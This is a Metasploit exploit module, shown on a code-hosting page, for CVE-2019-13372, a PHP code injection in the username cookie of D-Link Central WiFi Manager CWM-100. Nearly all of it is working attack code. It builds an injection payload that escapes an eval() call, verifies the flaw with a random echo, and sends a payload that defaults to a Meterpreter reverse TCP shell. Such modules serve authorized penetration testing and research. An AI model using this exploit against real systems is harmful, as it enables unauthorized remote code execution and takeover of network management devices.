Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/dlink_central_wifimanager_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'D-Link Central WiFi Manager CWM(100) RCE',16'Description' => %q{17This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)18versions below `v1.03R0100_BETA6`. The vulnerability exists in the19username cookie, which is passed to `eval()` without being sanitized.20Dangerous functions are not disabled by default, which makes it possible21to get code execution on the target.22},23'License' => MSF_LICENSE,24'Author' => [25'M3@ZionLab from DBAppSecurity', # Original discovery26'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # PoC, metasploit module27],28'References' => [29['CVE', '2019-13372'],30['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/' ]31],32'Targets' => [ [ 'Automatic', {}] ],33'DefaultTarget' => 0,34'DefaultOptions' => {35'PAYLOAD' => 'php/meterpreter/reverse_tcp',36'SSL' => true,37'RPORT' => 44338},39'Platform' => %w[php],40'Arch' => [ ARCH_PHP ],41'DisclosureDate' => '2019-07-09',42'Notes' => {43'Stability' => [ CRASH_SAFE ],44'SideEffects' => [ IOC_IN_LOGS ],45'Reliability' => [ REPEATABLE_SESSION ]46}47)48)4950register_options(51[52OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])53]54)55end5657def inject_php(cmd)58encode_char = ->(char) { "%#{char.ord.to_s(16).rjust(2, '0')}" }59payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""60res = send_request_cgi(61'method' => 'GET',62'uri' => normalize_uri(target_uri, 'index.php', 'Index', 'index'),63'cookie' => "username=#{payload};password="64)65res ? res.body[/^(.*?)<!DOCTYPE html>/mi, 1] : nil66end6768def check69rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))70if inject_php("echo \"#{rand_text}\"")&.chomp == rand_text71return Exploit::CheckCode::Vulnerable72end7374Exploit::CheckCode::Unknown75end7677def exploit78inject_php(payload.raw)79end80end818283